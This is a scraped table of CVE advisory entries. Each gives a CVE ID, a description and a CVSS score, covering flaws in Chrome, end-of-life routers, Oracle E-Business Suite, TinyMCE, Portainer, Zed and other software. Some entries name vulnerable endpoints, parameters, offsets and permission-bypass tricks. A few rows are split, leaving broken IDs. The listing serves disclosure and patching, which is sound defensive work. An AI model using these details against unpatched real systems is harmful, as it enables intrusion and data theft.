CVE-2026-48920	Jenkins Email Extension Plugin 1933.v45cec755423f and earlier allows inlining images as `base64` in email content by setting the `data-inline` attribute, without restrictions on the image URLs that can be inlined, allowing attackers able to control the email content to specify `file:` URLs for images to read arbitrary files from the Jenkins controller filesystem.	8.8	More Details
CVE-2026-42184	Tauri is a framework for building binaries for all major desktop platforms. From 2.0 to 2.11.0, a flaw in Tauri's is_local_url() function causes it to incorrectly classify remote URLs as trusted local origins on Windows and Android. On these systems, Tauri maps custom URI scheme protocols to http://<scheme>.localhost/ because those platforms' WebView implementations cannot serve custom URI schemes directly. The issue is that Tauri's check to see if the origin is local, only checks the first subdomain of the URL. An attacker can abuse this by hosting a page on a domain whose subdomain matches the custom scheme of the application. This vulnerability is fixed in 2.10.3.	8.8	More Details
CVE-2026-10159	A weakness has been identified in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formSysLog of the file /goform/formSysLog. This manipulation of the argument current_page causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10121	A flaw has been found in TRENDnet TEW-432BRP 3.10B20. The impacted element is the function formSetUrlFilter of the file /goform/formSetUrlFilter. This manipulation of the argument keyword_list/keyword causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been published and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-8179	IBM Aspera High-Speed Transfer Endpoint 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Server 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Endpoint are affected by a buffer overflow in the asperahttpd component. This vulnerability could allow an authenticated user to execute arbitrary code on the system.	8.8	More Details
CVE-2026-	A vulnerability has been found in TRENDnet TEW-432BRP 3.10B20. This affects the function formSetProtocolFilter of the file /goform/formSetProtocolFilter. Such manipulation of the argument protocol_name leads to stack-based buffer overflow. The attack may be performed from remote. The exploit	8.8	More Details

10122	has been disclosed to the public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.		
CVE-2026-10123	A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. This impacts the function formSetDomainFilter of the file /goform/formSetDomainFilter. Performing a manipulation of the argument blocked_domain/permitted_domain/blocked_domain_list/permitted_domain_list results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10124	A vulnerability was determined in Shibby Tomato up to 1.28. Affected is the function rip_zebra_read_ipv4 of the file /usr/sbin/ripd of the component Zserv Handler. Executing a manipulation can lead to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10125	A vulnerability was identified in Edimax BR-6478AC 1.23. Affected by this vulnerability is the function formPPPoESetup of the file /goform/formPPPoESetup of the component POST Request Handler. The manipulation of the argument pppUserName leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit is publicly available and might be used.	8.8	More Details
CVE-2026-5065	IBM Controller 11.0.1, 11.1.0, 11.1.1, and 11.1.2 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.	8.8	More Details
CVE-2026-10126	A security flaw has been discovered in Edimax BR-6478AC 1.23. Affected by this issue is the function formQoS of the file /goform/formQoS of the component POST Request Handler. The manipulation of the argument selSSID results in buffer overflow. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.	8.8	More Details
CVE-2026-10158	A security flaw has been discovered in TRENDnet TEW-432BRP 3.10B20. Affected is the function formPortFw of the file /goform/formPortFw. The manipulation of the argument server_name results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-9965	Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-43623	microtar through 0.1.0 contains a stack-based buffer overflow vulnerability in the raw_to_header() function in src/microtar.c that allows attackers to corrupt adjacent stack memory by supplying a crafted TAR archive with non-null-terminated name or linkname fields. The function uses strcpy() to copy 100-byte ustar format fields that lack null terminators, causing writes of up to 355 bytes into a 100-byte destination buffer when mtar_open(), mtar_find(), or mtar_read_header() process attacker-supplied TAR archives.	8.8	More Details
CVE-2026-10022	Type Confusion in V8 in Google Chrome prior to 148.0.7778.216 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code inside a sandbox via a crafted Chrome Extension. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-9878	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-9947	Use after free in XML in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9632	A flaw has been found in UTT HiPER 1250GW up to 3.2.7-210907-180535. Affected by this issue is the function strcpy of the file /goform/formGroupConfig of the component Web Management Interface. Executing a manipulation of the argument Profile can lead to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been published and may be used.	8.8	More Details
CVE-2026-9945	Use after free in Media in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9941	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

CVE-2026-9940	Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9939	Heap buffer overflow in WebCodecs in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2025-41669	The Web-based Management allows a remote low privileged Engineer user to install additional APPs on the device downloaded from the PLCnext Store without implementing any data verification mechanism, leading to the capability for an Engineer user to reach arbitrary code execution with root privileges on the PLC device. A successful exploitation may allow to install a manipulated APP package, potentially impacting integrity and availability of the PLCnext Control.	8.8	More Details
CVE-2026-10019	Integer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-10021	Insufficient validation of untrusted input in USB in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-44849	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, 2.39.2, and 2.41.0, Portainer enforces seven EndpointSecuritySettings restrictions that administrators configure to restrict the container configurations non-admin users can launch: privileged mode, host PID namespace, device mapping, capabilities, sysctls, security-opt (Seccomp / AppArmor), and bind mounts. These restrictions are enforced on the standard container creation path, but several of them are not applied on the Docker Swarm service API. This vulnerability is fixed in 2.33.8, 2.39.2, and 2.41.0.	8.8	More Details
CVE-2026-44848	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, 2.39.2, and 2.41.0, The Docker plugin management endpoints (/plugins/*) were not registered with a handler, so standard users with endpoint access could call privileged plugin operations — including installing and enabling plugins — directly against the underlying Docker daemon. The vulnerability is exposed when a non-admin Portainer user (Standard User role, or any role granted endpoint-level access) has been given access to a Docker endpoint via Portainer RBAC. This vulnerability is fixed in 2.33.8, 2.39.2, and 2.41.0.	8.8	More Details
CVE-2026-9873	Use after free in Network in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-46837	Vulnerability in the Oracle Flow Manufacturing product of Oracle E-Business Suite (component: Security). Supported versions that are affected are 12.2.9-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Flow Manufacturing. Successful attacks of this vulnerability can result in takeover of Oracle Flow Manufacturing. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).	8.8	More Details
CVE-2026-9628	A weakness has been identified in UTT HiPER 1200GW up to 2.5.3-170306. Affected is an unknown function of the file /goform/formPptpClientConfig of the component Web Management Interface. This manipulation of the argument PPTP server address/username/password/tunnel name causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.	8.8	More Details
CVE-2026-9928	Out of bounds read in ANGLE in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9879	Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-46827	Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Self Service Manager). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll. Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).	8.8	More Details
CVE-2026-46826	Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Payroll. Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability	8.8	More Details

	impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).		
CVE-2026-9896	Out of bounds write in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9883	Use after free in Base in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-9927	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9884	Use after free in Browser in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-9887	Use after free in Proxy in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted PAC script. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-9923	Use after free in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9910	Out of bounds memory access in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-8787	The Firebase Support & Chat Management plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.1.1. This is due to the `firebase_auth()` function authenticating the request as the WordPress user whose email is supplied in the `user_email` POST parameter without verifying ownership of that email (no Firebase ID token signature/issuer/audience verification). This makes it possible for authenticated attackers, with Subscriber-level access and above, to log in as an arbitrary existing user — including an Administrator — by submitting that user's email address to the `acb_firebase_auth` AJAX action, resulting in full account takeover.	8.8	More Details
CVE-2026-9631	A vulnerability was detected in UTT HiPER 1250GW up to 3.2.7-210907-180535. Affected by this vulnerability is the function strcpy of the file /goform/formConfigFastDirectionW of the component Web Management Interface. Performing a manipulation of the argument Profile results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit is now public and may be used.	8.8	More Details
CVE-2026-9938	Inappropriate implementation in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9961	Use after free in SurfaceCapture in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-25276	Memory corruption while using Strongbox due to missing bounds check.	8.8	More Details
CVE-2026-9958	Use after free in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file. (Chromium security severity: High)	8.8	More Details
CVE-2026-9957	Use after free in PDF in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: High)	8.8	More Details
CVE-2026-10002	Use after free in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted PDF file. (Chromium security severity: High)	8.8	More Details
CVE-2026-25277	Memory corruption while using Strongbox due to buffer overflow.	8.8	More Details
CVE-2026-9962	Use after free in WebRTC in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

CVE-2026-9952	Use after free in WebAudio in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9897	Use after free in DOM in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9207	Tanium addressed an unauthorized code execution vulnerability in Connect.	8.8	More Details
CVE-2026-10015	Integer overflow in WTF in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-10007	Use after free in SVG in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-10016	Use after free in DOM in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9627	A security flaw has been discovered in UTT HiPER 1200GW up to 2.5.3-170306. This impacts the function strcpy of the file /goform/setSysAdm of the component Web Management Interface. The manipulation of the argument sysAdmUser/sysAdmPass results in buffer overflow. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.	8.8	More Details
CVE-2026-49368	In JetBrains YouTrack before 2026.1.13162 stored XSS in project notification templates was possible	8.7	More Details
CVE-2026-9024	A Stored Cross-site Scripting (XSS) vulnerability affecting Process Experience Studio in DELMIA Service Process Engineer from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2026x could allow an attacker to execute arbitrary script code in user's browser session.	8.7	More Details
CVE-2026-47761	TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability in the media plugin. Attackers can inject malicious scripts via crafted data-mce-* attributes, which are executed when content is rendered. Impacts users of TinyMCE with the media plugin enabled. This vulnerability is fixed in 5.11.1, 7.9.3, and 8.5.1.	8.7	More Details
CVE-2026-47760	TinyMCE is an open source rich text editor. From 6.8.0 to before 7.1.0, TinyMCE contains an XSS vulnerability caused by improper SVG namespace scope handling in the sanitizer. A crafted payload using nested elements can bypass attribute sanitization and execute arbitrary JavaScript. This vulnerability is fixed in 7.1.0.	8.7	More Details
CVE-2026-47762	TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability via forged mce:protected comments. Allows attackers to bypass sanitization and inject scripts that execute when content is restored. Impacts users who utilize the protect option. This vulnerability is fixed in 5.11.1, 7.9.3, and 8.5.1.	8.7	More Details
CVE-2026-47759	TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability via unsanitized data-mce-* attributes (data-mce-href, data-mce-src, data-mce-style). Allows attackers to inject malicious values that override safe attributes during serialization, bypassing validation. This vulnerability is fixed in 5.11.1, 7.9.3, and 8.5.1.	8.7	More Details
CVE-2026-45348	pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.	8.7	More Details
CVE-2026-42197	RELATE is a web-based courseware package. Versions prior to commit 555f0efb1c5bd7531c07cd73724d7e566a81f620 have a stored cross-site scripting vulnerability that allows any enrolled student to execute arbitrary JavaScript in an administrator's browser session, potentially leading to full admin account takeover. The `get_user()` method in `ParticipationAdmin` renders user-controlled input using `mark_safe` combined with Python's % string formatting. This bypasses Django\'s automatic HTML escaping entirely. The value returned by `get_full_name` is derived directly from the `first_name` and	8.7	More Details

	`last_name` fields of the User model. These fields are freely editable by any authenticated user through the profile page (`/profile/`) with no sanitization applied. When an admin views the Participation list in the Django admin panel, the unsanitized value is rendered directly into the HTML response, causing the injected script to execute in the admin's browser. Commit 555f0efb1c5bd7531c07cd73724d7e566a81f620 fixes the issue.		
CVE-2026-48527	HAX CMS helps manage microsite universe with PHP or NodeJs backends. Versions up to and including 26.0.0 are affected by a stored cross-site scripting (XSS) vulnerability in the `/system/api/saveNode` endpoint. An authenticated user with a permission to edit pages can bypass the HTML sanitizer by injecting an event handler attribute without whitespace before the attribute name. @haxtheweb/haxcms-nodejs 26.0.1 and haxcms-php 26.0.2 patch the issue.	8.7	More Details
CVE-2026-44543	Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node. Prior to 0.0.36, a malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner. The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template. When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. This vulnerability is fixed in 0.0.36.	8.7	More Details
CVE-2026-7862	The Eupago Gateway For Woocommerce WordPress plugin before 4.7.2 does not properly restrict access to its refund request handler, allowing unauthenticated attackers to initiate refunds against any WooCommerce order using the merchant's payment gateway credentials, and for applicable payment methods, to redirect refunded funds to an attacker-controlled bank account.	8.6	More Details
CVE-2026-44697	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, a remote, unauthenticated denial-of-service vulnerability in Batch.Decompress (data/batch/batch.go) allows any peer that participates in a topic served by MultiDataInterceptor to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness. This vulnerability is fixed in 1.7.17.	8.6	More Details
CVE-2026-49127	Music Player Daemon (MPD) before version 0.24.11 contains a stack buffer overflow vulnerability in the pcm_unpack_24be function in src/pcm/Pack.cxx that allows unauthenticated attackers to corrupt stack memory by triggering an off-by-one write in the PCM decoder plugin. Attackers can issue two MPD commands referencing a malicious HTTP audio source to cause the unpack loop to write 1366 entries into a 1365-entry buffer, overwriting four bytes past the array boundary with three attacker-controlled bytes from an HTTP response body, resulting in daemon termination or potential code execution.	8.6	More Details
CVE-2024-40646	Vertex is a management tool for PT (Private Tracker) users to manage streaming and watching videos. Versions prior to commit fbde301b97986d5913fc4bc95f5445750d282e11 are vulnerable to path traversal. Users should upgrade to a version containing commit fbde301b97986d5913fc4bc95f5445750d282e11 to receive a patch.	8.6	More Details
CVE-2026-42737	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in e4jvikwp VikBooking Hotel Booking Engine & PMS vikbooking allows Path Traversal.This issue affects VikBooking Hotel Booking Engine & PMS: from n/a through <= 1.8.9.	8.6	More Details
CVE-2026-44465	Zed is a code editor. Prior to 0.227.1, Zed IDE executes arbitrary commands when opening a folder with a malicious .git/config file that abuses the core.fsmonitor Git configuration option. This allows an attacker to achieve Remote Code Execution (RCE) when a victim open a folder in untrusted mode. This vulnerability is fixed in 0.227.1.	8.6	More Details
CVE-2026-44466	Zed is a code editor. Prior to 0.229.0, Zed's terminal tool permission system can be bypassed via bash arithmetic expansion $((...)), allowing execution of arbitrary commands nested inside an allowlisted command like echo. This vulnerability is fixed in 0.229.0.	8.6	More Details
CVE-2026-44463	Zed is a code editor. Prior to 0.229.0, Zed's terminal tool permission system can be bypassed by prepending environment variable assignments to allowlisted commands, hijacking program behavior (e.g., PAGER) to execute arbitrary code. This vulnerability is fixed in 0.229.0.	8.6	More Details
CVE-2025-30028	A vulnerability in Active Backup for Business allows unauthorized remote attackers to read arbitrary files.	8.6	More Details
CVE-2026-44461	Zed is a code editor. Prior to 0.227.1, Zed builds SSH/WSL remote commands as a shell command string that starts with exec env ..., but environment variable keys are inserted without shell quoting or validation. If an attacker can control an environment variable key (for example via project terminal settings), shell expansions in the key (such as $(...)) are evaluated by the remote shell when a terminal is opened. This can lead to arbitrary command execution on the remote host under the victim user's account. This vulnerability is fixed in 0.227.1.	8.6	More Details

CVE-2026-37232	An issue was discovered in OpenAirInterface5G 2.4.0 (nr-softmodem) in the E2SM-KPM RAN Function's PRB utilization metric calculation. The functions fill_RRU_PrbTotDl() and fill_RRU_PrbTotUl() in openair2/E2AP/RAN_FUNCTION/O-RAN/ran_func_kpm_subs.c (lines 182 and 197) compute PRB usage percentages by dividing by the difference of two consecutive total_prb_aggregate samples without checking for zero. When a malicious xApp sends a high volume of E42_RIC_SUBSCRIPTION_REQUESTs via the FlexRIC iApp (port 36422/SCTP), the E2 Agent generates KPM Indication reports at high frequency. If two consecutive sampling intervals yield identical PRB aggregate values, the divisor becomes zero, triggering SIGFPE and crashing the entire 5G base station process (nr-softmodem). This results in complete 5G cell service interruption for all connected UEs. No authentication is required.	8.6	More Details
CVE-2026-48153	Budibase is an open-source low-code platform. Prior to 3.39.0, fetchToken in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the blacklist.isBlacklisted check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. This vulnerability is fixed in 3.39.0.	8.5	More Details
CVE-2026-49489	OpenCATS through 0.9.7.4 contains a sql injection vulnerability in the sortDirection parameter of the DataGrid component that allows authenticated users to extract database contents. Attackers can inject malicious SQL via the sortDirection parameter in ajax/getDataGridPager.php to perform time-based blind injection attacks and read sensitive data.	8.5	More Details
CVE-2026-49046	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arjun Thakur Duplicate Page and Post allows Blind SQL Injection. This issue affects Duplicate Page and Post: from n/a through 2.9.5.	8.5	More Details
CVE-2026-46372	SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern exposes /api/search/searxng, which accepts attacker-controlled baseUrl and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the /search response body. This vulnerability is fixed in 1.18.0.	8.5	More Details
CVE-2026-9330	IBM WebSphere Application Server 9.0, and 8.5 is affected by an improper validation of user-supplied data during deserialization using the SAML Web Single Sign-On component. This could result in remote code execution via a crafted HTTP request when combined with a suitable gadget chain.	8.5	More Details
CVE-2026-42730	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Stylemix MasterStudy LMS masterstudy-lms-learning-management-system allows Blind SQL Injection.This issue affects MasterStudy LMS: from n/a through <= 3.7.29.	8.5	More Details
CVE-2026-44797	Nautobot is a Network Source of Truth and Network Automation Platform. Prior to 2.4.33 and 3.1.2, Nautobot's Webhook data model and associated feature set could be configured by users with sufficient access to perform requests to various hosts and IP addresses that should not be permitted, allowing for various behaviors similar to server-side request forgery (SSRF). This vulnerability is fixed in 2.4.33 and 3.1.2.	8.5	More Details
CVE-2026-46820	Vulnerability in the Oracle Financials Common Modules product of Oracle E-Business Suite (component: Common Components). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financials Common Modules. While the vulnerability is in Oracle Financials Common Modules, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Financials Common Modules accessible data as well as unauthorized update, insert or delete access to some of Oracle Financials Common Modules accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).	8.5	More Details
CVE-2026-44850	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, 2.39.2, and 2.41.0, Portainer offers an environment-level Disable bind mounts for non-administrators security setting that blocks regular users from binding host paths into containers they create through the Portainer-mediated Docker API. The check that enforces this setting only inspected the legacy HostConfig.Binds array on the container-create proxy and never looked at the equivalent HostConfig.Mounts array. Any authenticated user with rights to create containers on a Docker environment where the restriction is enabled could submit a bind-typed entry under HostConfig.Mounts and mount any host path into their container. This vulnerability is fixed in 2.33.8, 2.39.2, and 2.41.0.	8.5	More Details
CVE-2018-25432	Arm Whois 3.11 contains a buffer overflow vulnerability that allows local attackers to execute arbitrary code by overwriting the structured exception handler. Attackers can craft a malicious input file with a 672-byte offset to overwrite the nSEH and SEH pointers, enabling code execution through exception handler hijacking.	8.4	More Details
CVE-	Himmelblau is an interoperability suite for Microsoft Azure Entra ID and Intune. From 2.0.0 to before 3.1.5 and 2.3.11, Himmelblau contained an authentication bypass vulnerability in the Device Authorization Grant (DAG) flow that allowed a user within the same Entra ID domain to obtain a local Unix session as another user		More

2026-45108	by providing their own valid credentials. The vulnerability existed in the token_validate function, which validated domain aliases for legitimate multi-domain scenarios but failed to verify that the local part (username) of the authenticated user's UPN matched the requested account username. The function only compared domains, not the complete usernames. This vulnerability is fixed in 3.1.5 and 2.3.11.	8.4	Details
CVE-2025-48595	In multiple locations, there is a possible way to achieve code execution due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	8.4	More Details
CVE-2026-40851	A local attacker can perform a confusion attack on the cfgparser via a specially crafted file on an USB stick leading to code execution. This can result in a total loss of confidentiality, integrity and availability.	8.4	More Details
CVE-2019-25718	Dräger Infinity Explorer C700 contains a privilege escalation vulnerability that allows attackers to break out of kiosk mode and access the underlying operating system through a specific dialog interaction. Attackers can exploit this kiosk escape to take control of the operating system and cause the device to display incorrect or no information from the connected Delta Family patient monitor.	8.4	More Details
CVE-2018-25383	Free MP3 CD Ripper 2.8 contains a stack-based buffer overflow vulnerability in WMA file processing that allows local attackers to bypass DEP protection via structured exception handling manipulation. Attackers can craft a malicious WMA file that triggers the overflow when loaded through the Convert function, enabling execution of arbitrary code through ROP chain gadgets and shellcode injection.	8.4	More Details
CVE-2026-7365	IBM Operations Analytics - Log Analysis and IBM SmartCloud Analytics - Log Analysis uses default passwords default passwords from the manufacturing process for use during the installation process, which could allow an attacker to bypass authentication.	8.4	More Details
CVE-2026-49238	An issue was discovered in Canonical Multipass before version 1.16.3. The host-side SFTP server component (sshfs_server), which executes with root privileges on the host, contains a path containment bypass vulnerability within its validate_path function in src/sshfs_mount/sftp_server.cpp. The function performs a plain string prefix comparison on requested paths without path separator validation or dot-dot (..) normalization. A local attacker with root privileges inside a guest virtual machine can bypass the FUSE layer by injecting raw SFTP frames (such as an SSH_FXP_OPEN request) directly into the sshfs_server process stdin/stdout pipes via procfs. By supplying a path containing directory traversal sequences that match the allowed mount prefix, the attacker can force the host-side root process to resolve the traversal and open files outside the designated mount boundary. This allows a guest-side user to read arbitrary files on the host filesystem, resulting in a virtual machine escape.	8.4	More Details
CVE-2026-6824	A stored cross-site scripting (XSS) vulnerability exists in certain 1xxx series NVR devices due to insufficient sanitization of user-supplied input in specific functional modules. Attackers can inject malicious scripts, which are then persistently stored on the device backend. When administrators or users access affected pages, the stored scripts are executed in their browsers, leading to potential session hijacking, unauthorized actions, or data theft.	8.4	More Details
